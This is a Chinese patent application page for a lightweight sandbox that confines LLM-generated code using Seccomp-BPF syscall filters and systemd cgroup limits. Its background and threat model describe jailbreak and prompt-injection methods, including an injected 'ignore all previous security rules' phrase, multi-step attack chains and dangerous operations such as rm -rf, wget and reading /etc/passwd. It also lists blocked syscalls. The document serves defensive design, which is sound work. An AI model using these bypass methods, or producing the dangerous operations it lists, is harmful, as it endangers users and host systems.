A method and system for executing a lightweight AI Agent security sandbox

CN122926409APending Publication Date: 2026-10-16BEISEN CLOUD COMPUTING CO LTD
View PDF 0 Cites 0 Cited by

Patent Information

Application Number
CN202611201946.3
Authority / Receiving Office
CN · China
Patent Type
Applications(China)
Current Assignee / Owner
Filing Date
2026-08-10
Publication Date
2026-10-16

AI Technical Summary

Technical Problem

[0004]本发明的目的在于提供一种轻量级AI Agent安全沙箱的执行方法及系统,以缓解现有技术中仅依赖提示词过滤无法为LLM生成代码的执行提供确定性安全保障的技术问题

Benefits of technology

[0015]This invention provides a lightweight AI Agent security sandbox execution method and system. The method involves receiving an initial execution request from an intelligent agent via a sandbox gateway, generating corresponding security policy configurations and resource restriction configurations, and then distributing the target execution request to selected sandbox worker nodes. The sandbox worker nodes inject a Seccomp-BPF filter into the target code's execution environment according to the security policy configuration and execute the target code under the constraints of the resource restriction configuration. The Seccomp-BPF filter filters system calls during the target code execution process at the kernel level. Compared to traditional prompt word filtering schemes, this invention pushes the security boundary down from the application layer to the operating system kernel layer. Because the Seccomp-BPF filter is enforced by the kernel and cannot be bypassed or removed by user-mode code, even if an LLM is induced to generate malicious code containing dangerous system calls, this code cannot cause actual harm during execution, thus providing deterministic security assurance for the execution of LLM-generated code.

✦ Generated by Eureka AI based on patent content.

Smart Images

  • Figure CN122926409A_ABST
    Figure CN122926409A_ABST
Patent Text Reader

Abstract

The application provides an execution method and system of a lightweight AI Agent security sandbox, and relates to the technical field of artificial intelligence. The application receives an initial execution request sent by an intelligent agent through a sandbox gateway, generates corresponding security policy configuration and resource limitation configuration, and issues a target execution request to a selected sandbox working node; the sandbox working node injects a Seccomp-BPF filter into the execution environment of target code according to the security policy configuration, and executes the target code under the constraint of the resource limitation configuration, and filters the system call in the process of target code execution at the kernel level through the Seccomp-BPF filter. In this way, even if the LLM is induced to generate malicious code containing dangerous system calls, the code cannot cause actual harm when executed, thereby providing a deterministic security guarantee for the execution of the code generated by the LLM.
Need to check novelty before this filing date? Find Prior Art

Description

Technical Field

[0001] This invention relates to the field of artificial intelligence technology, and in particular to a method and system for executing a lightweight AI Agent security sandbox. Background Technology

[0002] With the widespread application of Large Language Models (LLMs) in AI Agent systems, the secure execution of LLM-generated code has become increasingly prominent. In a typical intelligent agent workflow, the user sends instructions to the system via prompts, the LLM generates code based on these instructions, and the intelligent agent executes the generated code and returns the result. However, the code generated by LLMs is untrustworthy: malicious users can use carefully crafted prompts to induce the LLM to generate code containing dangerous system calls, such as executing arbitrary system commands, establishing network connections to steal data, or deleting or tampering with critical files. Furthermore, the hallucination nature of LLMs themselves can also lead to the introduction of dangerous code during normal code generation.

[0003] Traditional security measures filter and review code at the prompt word level, attempting to prevent the generation of malicious code. However, the output of LLM is unpredictable; prompt word filtering can be bypassed, jailbreak attacks are rampant, and prompt injection attacks are difficult to completely prevent. Therefore, relying solely on prompt word filtering cannot fundamentally guarantee the secure execution of LLM-generated code. Summary of the Invention

[0004] The purpose of this invention is to provide a lightweight AI Agent security sandbox execution method and system to alleviate the technical problem in the prior art that relying solely on prompt word filtering cannot provide deterministic security guarantees for the execution of LLM generated code.

[0005] In a first aspect, the present invention provides a lightweight AI Agent security sandbox execution method, applied to a sandbox layer, the sandbox layer including a sandbox gateway and sandbox worker nodes; the method includes: The sandbox gateway receives the initial execution request sent by the intelligent agent. The initial execution request includes the target code and its language type information generated by the large language model based on the user prompt words. The sandbox gateway generates security policy configuration and resource limit configuration corresponding to the initial execution request, and sends the target execution request, including the security policy configuration, resource limit configuration and target code, to the sandbox worker node selected based on language type information; The sandbox worker nodes are configured according to the security policy, inject the Seccomp-BPF filter into the execution environment of the target code, and execute the target code under the constraints of the resource limit configuration; the Seccomp-BPF filter is used to filter system calls during the execution of the target code at the kernel level.

[0006] In an optional implementation, generating security policy configuration and resource limit configuration corresponding to the initial execution request includes: Based on the task type corresponding to the initial execution request, select the corresponding policy template from the predefined policy template library, and generate a security policy configuration based on the selected policy template; Based on the expected complexity of the task corresponding to the initial execution request and the current system load, resource limit configurations are dynamically generated; whereby the current system load is used to characterize the real-time resource pressure status of the host machine where the sandbox layer is located.

[0007] In an optional implementation, the security policy configuration adopts a default denial principle, explicitly prohibiting the target code from executing dangerous system calls; dangerous system calls cover at least the following categories of operating system kernel interfaces: file read / write, process control, network sockets, thread synchronization, memory management, eBPF, container namespaces, and security mechanisms, in order to achieve fine-grained permission constraints.

[0008] In an optional implementation, resource limit configuration is implemented through Systemd transient units, and the resource limit configuration includes at least one or more of CPU usage quota, memory usage limit, and maximum number of processes.

[0009] In an optional implementation, the target execution request further includes a globally unique identifier randomly generated by the sandbox gateway; injecting a Seccomp-BPF filter into the execution environment of the target code according to the security policy configuration, and executing the target code under the constraints of the resource limit configuration, including: Create a working directory based on a globally unique identifier; Write the target code into a script file in the working directory; The security policy configuration is compiled into a Seccomp-BPF filter, and the Seccomp-BPF filter is injected before the target code is executed, according to the injection method corresponding to the language type information. Specifically, if the language type information is Python, the Seccomp-BPF filter is injected at the beginning of the script file through the pyseccomp library; if the language type information is Java, the Seccomp-BPF filter is injected at the beginning of the main method by calling libseccomp through JNA; if the language type information is .NET, the Seccomp-BPF filter is injected at the beginning of the main method by calling libseccomp through P / Invoke. Based on the resource constraint configuration, generate transient unit execution commands containing resource constraint parameters; Commands are executed through transient units, and script files are run under resource-limited configuration constraints to execute target code; system calls during the execution of target code are filtered at the kernel level by the Seccomp-BPF filter.

[0010] In an optional implementation, after executing commands via a transient unit and running a script file under resource-constrained configurations to execute the target code, the method further includes: The sandbox worker nodes monitor the resource usage of the processes corresponding to the script files in real time through Systemd's Cgroups mechanism, and take corresponding actions when they detect that the resource limit thresholds are exceeded. Specifically, when the CPU usage quota is exceeded, the CPU scheduling of the process is restricted; when the memory usage limit is exceeded, the OOM Killer is triggered to terminate the process; and when the maximum number of processes is exceeded, new fork or clone calls fail. The sandbox worker node maintains an execution timeout timer and sends a SIGKILL signal to the process after the timeout to forcibly terminate the process; When a sandbox worker node detects that the Seccomp-BPF filter returns at least one of the following exceptions: EPERM error, OOM termination, or timeout termination, it logs the exception information.

[0011] In an optional implementation, the sandbox worker node, configured according to a security policy, injects a Seccomp-BPF filter into the execution environment of the target code. After executing the target code under resource constraint configuration, the method further includes: The sandbox worker nodes obtain execution information and return it to the sandbox gateway; the execution information includes system call violation records, runtime logs, execution results, resource usage statistics, and execution time. The sandbox gateway receives execution information, records audit logs, and returns the execution results to the user. The audit logs include one or more of the following: user prompts, target code, security policy configuration, resource limit configuration, system call violation records, runtime logs, execution results, resource usage statistics, and execution time.

[0012] Secondly, the present invention provides an execution system for a lightweight AI Agent security sandbox, including an intelligent agent layer and a sandbox layer. The intelligent agent layer includes an intelligent agent and a large language model, and the sandbox layer includes a sandbox gateway and a sandbox worker node. The sandbox gateway is used to receive the initial execution request sent by the intelligent agent. The initial execution request includes the target code and its language type information generated by the large language model based on the user prompt words. The sandbox gateway is used to generate security policy configuration and resource limit configuration corresponding to the initial execution request, and sends the target execution request, including the security policy configuration, resource limit configuration and target code, to the sandbox worker node selected based on language type information; Sandbox worker nodes are used to inject Seccomp-BPF filters into the execution environment of the target code according to the security policy configuration, and execute the target code under the constraints of the resource limit configuration; among them, the Seccomp-BPF filter is used to filter system calls during the execution of the target code at the kernel level.

[0013] Thirdly, the present invention provides an electronic device, including a memory and a processor, wherein the memory stores a computer program that can run on the processor, and the processor executes the computer program to implement the execution method of the lightweight AI Agent security sandbox of any of the foregoing embodiments.

[0014] Fourthly, the present invention provides a computer-readable storage medium storing a computer program, wherein the computer program, when run by a processor, executes the execution method of the lightweight AI Agent security sandbox of any of the foregoing embodiments.

[0015] This invention provides a lightweight AI Agent security sandbox execution method and system. The method involves receiving an initial execution request from an intelligent agent via a sandbox gateway, generating corresponding security policy configurations and resource restriction configurations, and then distributing the target execution request to selected sandbox worker nodes. The sandbox worker nodes inject a Seccomp-BPF filter into the target code's execution environment according to the security policy configuration and execute the target code under the constraints of the resource restriction configuration. The Seccomp-BPF filter filters system calls during the target code execution process at the kernel level. Compared to traditional prompt word filtering schemes, this invention pushes the security boundary down from the application layer to the operating system kernel layer. Because the Seccomp-BPF filter is enforced by the kernel and cannot be bypassed or removed by user-mode code, even if an LLM is induced to generate malicious code containing dangerous system calls, this code cannot cause actual harm during execution, thus providing deterministic security assurance for the execution of LLM-generated code. Attached Figure Description

[0016] To more clearly illustrate the specific embodiments of the present invention or the technical solutions in the prior art, the drawings used in the description of the specific embodiments or the prior art will be briefly introduced below. Obviously, the drawings described below are some embodiments of the present invention. For those skilled in the art, other drawings can be obtained from these drawings without creative effort.

[0017] Figure 1 A system architecture diagram of an execution system for a lightweight AI Agent security sandbox provided in an embodiment of the present invention; Figure 2 A flowchart illustrating the execution method of a lightweight AI Agent security sandbox provided in an embodiment of the present invention; Figure 3 This is a schematic diagram of the execution system of a lightweight AI Agent security sandbox provided in an embodiment of the present invention; Figure 4 A partial runtime sequence diagram of an execution system for a lightweight AI Agent security sandbox provided in an embodiment of the present invention; Figure 5 Another part of the runtime sequence diagram of the execution system of a lightweight AI Agent security sandbox provided in this embodiment of the invention; Figure 6 This is a schematic diagram of the structure of an electronic device provided in an embodiment of the present invention. Detailed Implementation

[0018] The technical solution of the present invention will be clearly and completely described below with reference to the embodiments. Obviously, the described embodiments are only some embodiments of the present invention, and not all embodiments. Based on the embodiments of the present invention, all other embodiments obtained by those skilled in the art without creative effort are within the scope of protection of the present invention.

[0019] In recent years, large language models such as GPT-4, Claude, Gemini, and DeepSeek have made groundbreaking progress. Their powerful natural language understanding and code generation capabilities have made AI Agent systems an important development direction in the field of software engineering. AI Agents can understand users' natural language commands, automatically generate code, execute tasks, and interact with external systems, greatly improving development efficiency and automation levels.

[0020] However, AI Agent systems face serious security challenges. In a typical AI Agent workflow, such as Open Claw / Hermes, the user sends instructions to the system via a prompt, the LLM generates code based on the instructions, and the AI ​​Agent executes the generated code and returns the result. A fundamental security risk exists in this process: the code generated by the LLM is untrustworthy. Malicious users can use carefully crafted prompts to induce the LLM to generate dangerous code, including but not limited to: executing arbitrary system commands (such as ls, rm, wget, etc.); establishing network connections and sending sensitive data to external servers; deleting or modifying critical files on the host machine; reading sensitive system information (such as / etc / passwd, environment variables, etc.); performing privilege escalation attacks; and deploying backdoor programs or mining software.

[0021] More seriously, even without malicious user attacks, the illusionary nature of LLM can lead it to generate code containing dangerous operations. LLM doesn't truly understand the security implications of the code; it merely generates seemingly reasonable output based on statistical patterns. This means that during normal code generation, LLM can unintentionally introduce dangerous system calls.

[0022] Traditional security approaches involve filtering and reviewing at the Prompt level to prevent the generation of malicious code. However, extensive research and practical experience have shown that this anti-generation strategy has fundamental flaws: Prompt filtering can be bypassed, LLM outputs are unpredictable, and Jailbreak attacks are rampant. Therefore, a truly effective security boundary should not be built at the LLM output level, but rather at the operating system kernel level.

[0023] The core significance of this invention lies in proposing and validating a new AI Agent security paradigm: instead of preventing the generation of dangerous code, it ensures that even if dangerous code is executed, it cannot cause harm. This paradigm shift has the following important implications: (1) Theoretical significance: This embodiment of the invention combines the operating system security mechanism (Seccomp-BPF) with the security requirements of AI Agents, and proposes the concept of Zero Trust (a security model that does not pre-trust any entity). That is, it assumes that all code generated by LLM is malicious, and ensures security through kernel-level enforcement policies. This provides a new theoretical framework for the field of AI security.

[0024] (2) Practical significance: This embodiment of the invention designs and implements a complete Sandbox Gateway-Worker architecture, supports multi-language runtime, and provides a directly deployable solution. Compared with heavyweight container solutions such as Docker, this solution has lower startup latency and resource overhead, and is more suitable for the frequent and short-lived code execution needs in AI Agent scenarios.

[0025] In summary, with the increasing prevalence of AI Agents in enterprise applications, a secure execution environment has become a necessity. The lightweight sandbox solution provided in this invention can significantly reduce the security risks and operational costs of deploying AI Agents in enterprises.

[0026] To facilitate understanding, the relevant technologies of the embodiments of the present invention will be introduced first.

[0027] I. Large Language Models and AI Agents.

[0028] 1. Large language model.

[0029] LLMs are deep neural network models based on the Transformer architecture. By pre-training on massive amounts of text data, they have achieved powerful natural language understanding and generation capabilities. Current mainstream LLMs include OpenAI's GPT series, Anthropic's Claude series, Google's Gemini series, and DeepSeek's V4 / R1 / Coder series, with parameter scales ranging from billions to trillions.

[0030] The core capabilities of LLM include natural language understanding and generation, code generation and analysis, logical reasoning, and knowledge-based question answering. In terms of code generation, LLM can generate code in multiple programming languages ​​based on natural language descriptions, including Python, Java, C#, and JavaScript. This capability makes LLM a core component of AI agent systems.

[0031] LLMs exhibit the following untrustworthy characteristics in code generation scenarios, which determine that security cannot be guaranteed by relying on LLMs themselves: (1) Illusion: LLM may generate code that appears reasonable but actually contains dangerous operations. For example, when implementing file management functions, LLM may generate code that contains the rm-rf command.

[0032] (2) Jailbreak attack: Attackers can bypass the security alignment of LLM through special prompt constructs, causing it to generate dangerous code that is normally prohibited. Common jailbreak techniques include role-playing, code obfuscation, and multi-turn dialogue inducement.

[0033] (3) Prompt Injection (Prompt Injection is an attack that embeds malicious instructions into the input): Attackers can embed malicious instructions into the input to override the system's security prompts and make the LLM generate code according to the attacker's intentions.

[0034] (4) Rule bypass: Even if explicit security rules are set (such as "do not generate code to delete files"), LLM may bypass these rules indirectly, such as by calling system library functions instead of using commands directly.

[0035] 2. AI Agent Architecture.

[0036] An AI Agent is an autonomous system capable of perceiving its environment, making decisions, and executing actions. In an LLM-driven AI Agent architecture, a typical workflow includes: • Perception: Receives natural language instructions (Prompt) from the user; • Reasoning: LLM understands instructions and plans execution strategies; • Generation: LLM generates the code required to implement the solution; • Execution: The AI ​​Agent executes the generated code in the runtime environment; • Feedback: Collect execution results and return them to the user.

[0037] In this architecture, the execution phase is where security risks are most concentrated. The code generated by LLM executes directly on the host machine. If there is a lack of effective security isolation mechanisms, malicious code may gain full access to the host machine, causing serious security incidents for enterprises and individuals.

[0038] II. Linux Seccomp-BPF mechanism.

[0039] 1. Overview of Seccomp.

[0040] Seccomp (Secure Computing Mode) is a security mechanism provided by the Linux kernel to restrict the system calls that processes can use. Seccomp was initially introduced in Linux 2.6.12 and only supports strict mode (allowing only the read, write, exit, and sigreturn system calls). Linux 3.5 introduced the Seccomp-BPF extension, allowing the use of BPF (Berkeley Packet Filter, a kernel virtual machine) programs to define flexible system call filtering rules.

[0041] Seccomp-BPF works as follows: A process loads a BPF filter via the prctl or seccomp system call. This filter is executed by the kernel each time a system call occurs, determining whether to allow the call based on the system call number and its parameters. The filter can return the following actions: •SCMP_ACT_ALLOW (0x7fff0000): Allows the system call to execute normally; •SCMP_ACT_ERRNO(errno): Rejects the system call and returns the specified error code; •SCMP_ACT_KILL: Terminates the thread that initiated the system call; •SCMP_ACT_KILL_PROCESS: Terminates the entire process; •SCMP_ACT_TRAP: Sends the SIGSYS signal; •SCMP_ACT_LOG: Allows execution but logs the process.

[0042] 2. Security features of Seccomp-BPF.

[0043] Seccomp-BPF possesses the following key security features, making it an ideal choice for AI Agent sandboxes: (1) Kernel-level enforcement: The Seccomp-BPF filter executes in kernel space, and user-mode code cannot bypass or disable the loaded filter. Even if an attacker gains the ability to execute arbitrary code within a process, they cannot remove the Seccomp restriction.

[0044] (2) Irreversibility: Once a Seccomp-BPF filter is loaded, the process cannot remove or relax existing restrictions. New filters can only further tighten restrictions, not relax them. This ensures the monotonicity of the security policy.

[0045] (3) Low overhead: The execution overhead of Seccomp-BPF filters is extremely low (usually in the nanosecond range), and its performance impact on normal system calls is negligible. This makes Seccomp suitable for high-frequency code execution scenarios.

[0046] (4) Fine-grained control: BPF programs can perform precise filtering based on system call numbers, parameter values, and other conditions. They support both whitelist and blacklist modes and can customize strategies for different security needs.

[0047] 3. libseccomp library.

[0048] libseccomp is a high-level Seccomp-BPF wrapper library that provides an easy-to-use C language API (Application Programming Interface) to simplify the creation and management of Seccomp-BPF filters. Key APIs include: (1) seccomp_init(default_action): Initializes the filter context and sets the default action. If the default action is ALLOW, a denial rule needs to be added explicitly (blacklist mode); if the default action is KILL or ERRNO, an allow rule needs to be added explicitly (whitelist mode).

[0049] (2) seccomp_rule_add(ctx,action,syscall,arg_cnt,···): Adds a filtering rule that specifies the action to be performed on a specific system call. Additional parameters can be added for more precise filtering.

[0050] (3) seccomp_load(ctx): Loads the filter into the kernel. The filter takes effect immediately after loading, and all subsequent system calls will be filtered.

[0051] In this embodiment of the invention, Python calls libseccomp via the pyseccomp library, Java calls libseccomp via JNA, and .NET calls libseccomp.so.2 via P / Invoke (Platform Invocation Services). This achieves cross-language support for Seccomp.

[0052] III. Systemd resource control.

[0053] 1. Systemd transient unit.

[0054] Systemd is the initialization system and service manager for modern Linux systems, providing powerful resource control capabilities. The `systemd-run` command can create transient units (temporarily created service units in Systemd), run specified commands in a separate Cgroup (control group), and impose resource restrictions on them. Transient units are automatically cleaned up after the command execution is complete, requiring no manual management.

[0055] A typical command format for creating transient elements using systemd-run is as follows: sudo systemd-run --scope \ -p CPUQuota=20% \ -p MemoryMax=30M \ -p MemorySwapMax=0 \ --working-directory= / opt / sandbox / {guid} \ / usr / bin / python script.py 2. Cgroups (Control Groups, the resource control mechanism of the Linux kernel) resource limitations.

[0056] Systemd implements resource limiting through Linux Cgroups v2, supporting the following key resource control parameters: •CPUQuota: Limits the percentage of CPU (Central Processing Unit) usage. For example, 20% means that a maximum of 20% of a single core can be used. •MemoryMax: Limits the maximum memory usage; exceeding this limit triggers an OOM (Out of Memory) killer. •MemorySwapMax: Limits the amount of swap space used; setting it to 0 disables swap. •TasksMax: Limits the maximum number of processes / threads; •IOReadBandwidthMax / IOWriteBandwidthMax: Limits I / O (Input / Output) bandwidth.

[0057] The advantages of transient units are: no need to pre-create container images, no need for daemons, extremely low startup overhead (milliseconds), and automatic cleanup of all resources after command execution. This makes them ideal for frequent, short-lived code execution tasks in AI agent scenarios.

[0058] IV. Containerization Technology.

[0059] Docker is a containerization technology that provides process-level isolation through Linux namespaces (which provide process-level resource isolation) and cgroups. Docker containers have independent file systems, network stacks, process spaces, etc., providing a better isolated environment for applications.

[0060] However, Docker has the following limitations in AI Agent code execution scenarios: • High startup overhead: Creating and starting a Docker container typically takes 500ms-2s; • High resource consumption: Each container requires an independent file system layer and network stack; • Complex management: requires Docker daemon, image management, network configuration, etc.; • Complex security configuration: Requires correct configuration of Seccomp Profile, AppArmor, Capabilities, etc. • Not suitable for short-lived tasks: For code snippets with execution times in the milliseconds, the container startup overhead is too high.

[0061] V. System Calls and Security Boundaries

[0062] In the Linux operating system, user-mode programs request services from the kernel through system calls (syscalls). System calls are the only legal interface between user mode and kernel mode; all file operations, network communication, process management, and other operations must ultimately be completed through system calls.

[0063] This characteristic makes system calls a natural security boundary: by controlling the system calls a process can use, the scope of a process's capabilities can be precisely controlled. In AI Agent sandbox scenarios, system calls that require key restrictions include: •execve / execveat: Executes a new program; blocking it prevents the execution of arbitrary commands. •socket / connect / bind / listen: Network operation; blocking it will prevent network communication. •unlink / unlinkat / rename / renameat: File deletion and renaming; blocking these actions can prevent file corruption. • open / openat (with O_WRONLY / O_RDWR flags): File write, with optional restrictions; •ptrace: Process tracing; blocking it can prevent debugging of other processes. •mount / umount: Mounts the file system; blocking it prevents file system operations.

[0064] System calls comprise 20 categories and 449 instructions, as shown in Table 1 below: Table 1

[0065] In Table 1, eBPF refers to Extended BPF, which is the extended Berkeley packet filter.

[0066] The following section introduces the current state of research both domestically and internationally.

[0067] In the field of secure execution environments for AI agents, domestic and international research mainly focuses on the following areas: (1) Containerized isolation solutions: Container technologies, such as Docker, gVisor, and Kata Containers, are widely used for code execution isolation. Docker provides process-level isolation through Linux Namespaces and Cgroups, gVisor provides stronger isolation through the user-space kernel, and Kata Containers provides hardware-level isolation through lightweight virtual machines. Although these solutions offer high security, they have high startup overhead (usually requiring hundreds of milliseconds to several seconds), making them unsuitable for the millisecond-level code execution requirements in AI Agent scenarios.

[0068] (2) WebAssembly Sandbox: WASM (WebAssembly), as an emerging sandbox technology, provides a secure execution environment through compile-time security checks and runtime memory isolation. Runtimes such as Wasmtime and Wasmer already support server-side WASM execution. However, WASM requires the code to be compiled into WASM bytecode, has limited support for interpreted languages ​​such as Python and Java, and its ecosystem is still immature.

[0069] (3) Seccomp security mechanism: Seccomp-BPF is a system call filtering mechanism provided by the Linux kernel, which allows processes to restrict the system calls they can use at runtime. However, there is relatively little research on applying Seccomp specifically to the isolation of AI Agent code execution, and there is a lack of systematic architectural design and engineering practice.

[0070] (4) Prompt security protection: This includes techniques such as prompt filtering, output inspection, and safety alignment. These techniques can reduce the probability of generating dangerous code to some extent, but they cannot provide deterministic security guarantees. Studies have shown that almost all prompt filtering mechanisms can be bypassed by carefully crafted attacks.

[0071] The shortcomings and deficiencies of existing technologies are described below.

[0072] 1. Limitations of Prompt filtering.

[0073] Prompt filtering (Prompt Guard / Filter) is currently the most common security protection method in AI Agent systems. Its basic idea is to perform content review at both the user input and LLM output stages, identifying and blocking prompts that may lead to the generation of dangerous code or code output containing dangerous operations. However, this method has fundamental limitations: (1) Unpredictability caused by the LLM illusion: The output of an LLM is random; even if the input is exactly the same, the code generated in different iterations may be different. Prompt filtering cannot cover all possible outputs of an LLM. A seemingly safe Prompt may produce code containing dangerous operations in a certain generation.

[0074] (2) The continuous evolution of Jailbreak attacks: The security research community is constantly discovering new jailbreak techniques, including but not limited to: DAN (Do Anything Now) attacks, role-playing attacks, code obfuscation attacks, multilingual mixing attacks, image embedding attacks, etc. Each new jailbreak technique may bypass existing Prompt filtering rules, forming a continuous offensive and defensive game.

[0075] (3) The stealth of Prompt injection: Attackers can embed malicious instructions into seemingly normal input and use the context understanding capabilities of LLM to override system prompts. For example, attackers can embed instructions such as "ignore all previous security rules" in code comments or induce LLM to generate dangerous code through MCP (Model Context Protocol) metadata information.

[0076] (4) Semantic equivalence bypass: Attackers can bypass keyword filtering by using semantically equivalent but different expressions. For example, "delete file" can be expressed as "clean up disk space" or "release storage resources", which makes the keyword matching filter ineffective.

[0077] (5) Indirect attack path: Attackers can achieve their goals through multiple indirect steps. For example, they can first have the LLM generate a "file management tool", and then use a subsequent prompt to have the tool perform a deletion operation. Each step is reasonable on its own, but when combined, they form a complete attack chain.

[0078] In addition, some current solutions attempt to introduce a "user confirmation" step before code execution, allowing users to review the LLM-generated code or code from local Skills and decide whether to execute it. While logically sound, this approach has a fatal flaw in practice: research and surveys show that over 95% of ordinary users lack the ability to read code or determine if it contains malicious code. More dangerously, experienced attackers can easily obfuscate, split, or encode malicious logic within seemingly harmless code structures, making it difficult even for users with some programming experience to immediately identify its security. This means that "user approval" is essentially a security gate that is merely nominal—it creates a false sense of security for users, saying "I have reviewed it," but does not eliminate any real security risks; in fact, it may exacerbate the harm due to users' excessive trust.

[0079] In conclusion, relying solely on prompt filtering and user confirmation is far from sufficient. LLMs are never trustworthy, and user input is also unreliable; it must be assumed that all code generated by the model is malicious. True security boundaries must be established at the operating system kernel level.

[0080] 2. Shortcomings of the Docker container solution.

[0081] Docker containers are currently the most commonly used code execution isolation solution, but they have the following shortcomings in AI Agent scenarios: (1) Excessive startup delay: The creation and startup of Docker containers typically takes 500ms to 2 seconds. For the frequent code execution requests in the AI ​​Agent (which may be dozens or hundreds of times per second), this delay is unacceptable (the user expects a response time of less than 100ms).

[0082] (2) High resource overhead: Each Docker container requires an independent file system layer (even with OverlayFS, additional metadata management is required), an independent network stack (veth pair, iptables rules, etc.), and an independent process namespace. In high-concurrency scenarios, the resource overhead of a large number of containers will significantly affect the performance of the host machine.

[0083] (3) High management complexity: The Docker solution requires maintaining the Docker daemon, managing container images, configuring container networks, and handling container lifecycles. This increases the system's operational complexity and potential for failure.

[0084] (4) Difficulty in security configuration: Docker's default security configuration is insufficient to meet the security requirements of AI Agent scenarios. Multiple security layers, such as Seccomp Profile, AppArmor / SELinux policy, Linux Capabilities, and read-only file system, need to be configured correctly. Incorrect configuration may lead to security vulnerabilities.

[0085] (5) Container escape risk: Docker containers share the host kernel, and container escape vulnerabilities have occurred many times in history. Although these vulnerabilities are usually fixed in a timely manner, the risk of zero-day vulnerabilities always exists.

[0086] 3. Problems with traditional sandbox solutions.

[0087] Besides Docker, other traditional sandbox solutions also have their own problems: (1) chroot: It only provides file system isolation and does not restrict network, process, system calls, etc., so its security is insufficient. Moreover, chroot can be easily escaped by processes with root privileges.

[0088] (2) Virtual Machine (VM): provides the strongest isolation (hardware level), but has a long startup time (usually several seconds to tens of seconds) and high resource consumption (requires an independent kernel and operating system), and is not suitable for frequent short-term tasks.

[0089] (3) User-space sandbox (such as Firejail): It provides a sandbox environment by combining mechanisms such as Namespace, Seccomp and Capabilities, but the configuration is complex and it is mainly aimed at desktop applications, lacking optimization for AI Agent scenarios.

[0090] (4) Language-level sandbox (such as Java SecurityManager): provides security restrictions at the language runtime level, but cannot defend against JNI (Java Native Interface) calls or runtime vulnerabilities.

[0091] The performance of various solutions in AI Agent code execution scenarios is shown in Table 2 below: Table 2

[0092] Comparative analysis shows that the Seccomp-based transient unit solution has significant advantages in three dimensions: startup latency, resource overhead, and security strength, making it the best choice for AI Agent code execution scenarios.

[0093] The improvement objectives and design goals of the embodiments of the present invention are described below.

[0094] 1. Core security concept.

[0095] The core security concept of this invention can be summarized as: ensuring that even if dangerous code is executed, it cannot cause harm. This concept is based on the following understanding: (1) The generation of dangerous code is inevitable. No matter how advanced the Prompt filtering and security alignment techniques are, it is impossible to completely prevent LLM from generating dangerous code. The illusionary nature of LLM, Jailbreak attacks, Prompt injection and other problems make the "anti-generation" strategy doomed to failure.

[0096] (2) The security boundary must be at the kernel level. Any security mechanism in user space can be bypassed, and only the mandatory access control provided by the operating system kernel can provide deterministic security guarantees. Seccomp-BPF, as a kernel-level mechanism, cannot be unloaded by user-space code once loaded, providing an unbypassable security boundary.

[0097] (3) Zero Trust Execution Model. It is assumed that all code generated by the LLM is malicious, and no security assumptions are made about the code content. The security policy is based entirely on the "principle of least privilege", granting only the minimum set of system calls necessary for code execution.

[0098] 2. Design objectives.

[0099] Based on the above core concepts, the design objectives of the embodiments of the present invention include: • Security: Kernel-level Seccomp filtering ensures that malicious code cannot execute dangerous system calls (exec, network and file deletion, etc.). •Low latency: Sandbox startup time is controlled within 50ms to meet the real-time response requirements of AI Agent; • Low resource consumption: The additional resource overhead of a single sandbox instance is kept to a minimum, supporting high-concurrency execution; • Multi-language support: Supports major runtime environments such as Python, Java, and .NET; • Configurable: Security policies and resource limits can be dynamically adjusted according to task requirements; • Auditable: Fully records information such as Prompt, generated code, system call violations, and runtime logs; • High availability: Supports fault tolerance mechanisms such as timeout termination, failure retry, and graceful degradation; • Easy to deploy: No Docker daemon is required; it only relies on the Linux kernel and Systemd, making deployment simple.

[0100] 3. Threat Model.

[0101] The threat model in this embodiment of the invention is defined as follows: (1) Assumptions about attacker capabilities: • An attacker can send an arbitrary prompt to the AI ​​Agent; • Attackers can use the Jailbreak technique to bypass the secure alignment of LLM; • Attackers can inject prompts to override system hints; •LLM may generate arbitrary dangerous codes due to hallucinations; • The generated code may contain arbitrary system calls; • The generated code may attempt privilege escalation, escape, or lateral movement.

[0102] (2) Safety objectives: • Even if malicious code is executed, arbitrary commands cannot be executed (execve is blocked); • Even if malicious code is executed, a network connection cannot be established (socket / connect is blocked); • Even if malicious code is executed, files outside the sandbox cannot be deleted or modified (unlink / unlinkat is blocked); • Even if malicious code is executed, it cannot consume too many system resources (Cgroups limit CPU / memory). • All security violations are logged to support post-incident audits.

[0103] 4. Definition of security boundaries.

[0104] This invention defines three layers of security boundaries: Layer 1: System Call Filtering (Seccomp-BPF). This is the core security boundary, preventing the execution of dangerous system calls at the kernel level. Blocked system calls include: execve, execveat (prevents command execution), socket, connect, bind, listen, accept (prevents network operations), unlink, unlinkat, rename, and renameat (prevents file deletion / renaming).

[0105] The second layer: Resource limiting (Cgroups). Systemd transient units limit resources such as CPU usage, memory limits, and the number of processes to prevent malicious code from impacting the normal operation of the host machine through resource exhaustion attacks (such as Fork Bombs and memory leaks). Fork Bombs, in particular, exhaust system resources by creating an unlimited number of child processes.

[0106] The third layer: file system isolation. Each sandbox instance runs in an independent working directory ( / opt / sandbox / {guid}). Through working directory restrictions and file system permission control, the scope of file operations of the code is restricted to the sandbox directory.

[0107] Based on the above-mentioned improvement objectives and design goals, the embodiments of the present invention propose the following system architecture design: 1. Overview of the overall architecture.

[0108] This invention provides a lightweight AI Agent security sandbox execution system. The system adopts a Gateway-Worker layered architecture, where the Gateway is responsible for request routing, policy decision-making, and lifecycle management, while the Worker is responsible for the actual code execution. The system consists of the following five core roles: Figure 1 As shown: The user layer's client: This refers to the end user or application that sends natural language prompt commands to the AI ​​Agent.

[0109] The AI ​​Agent in the Agent layer (intelligent agent layer) is an intermediate service that receives user prompts, coordinates LLM and Sandbox, and is responsible for converting user intents into LLM requests and submitting the LLM-generated code to the Sandbox for execution.

[0110] The LLM large model of the Agent layer is a large language model that generates code based on the Prompt; its output is considered untrusted, and the generated code must be executed in a secure sandbox.

[0111] The Sandbox Gateway in the Sandbox layer is the decision-making center for security policies; it is responsible for scheduling Workers, generating security policies, managing resource configuration, controlling lifecycle, and recording audit logs.

[0112] The Sandbox Worker in the Worker pool of the sandbox layer is the executor of security policies, including three types: Python Worker, Java Worker, and .NET Worker. It is responsible for creating the sandbox environment, injecting Seccomp policies, loading the runtime (i.e., preparing the corresponding programming language execution environment for the target code), executing the code, and collecting the output.

[0113] The system's call sequence is as follows: User terminal → AI Agent → LLM (generate untrusted code) → AI Agent → Sandbox Gateway → Sandbox Worker (secure execution) → Result return.

[0114] 2. Definition of roles and responsibilities.

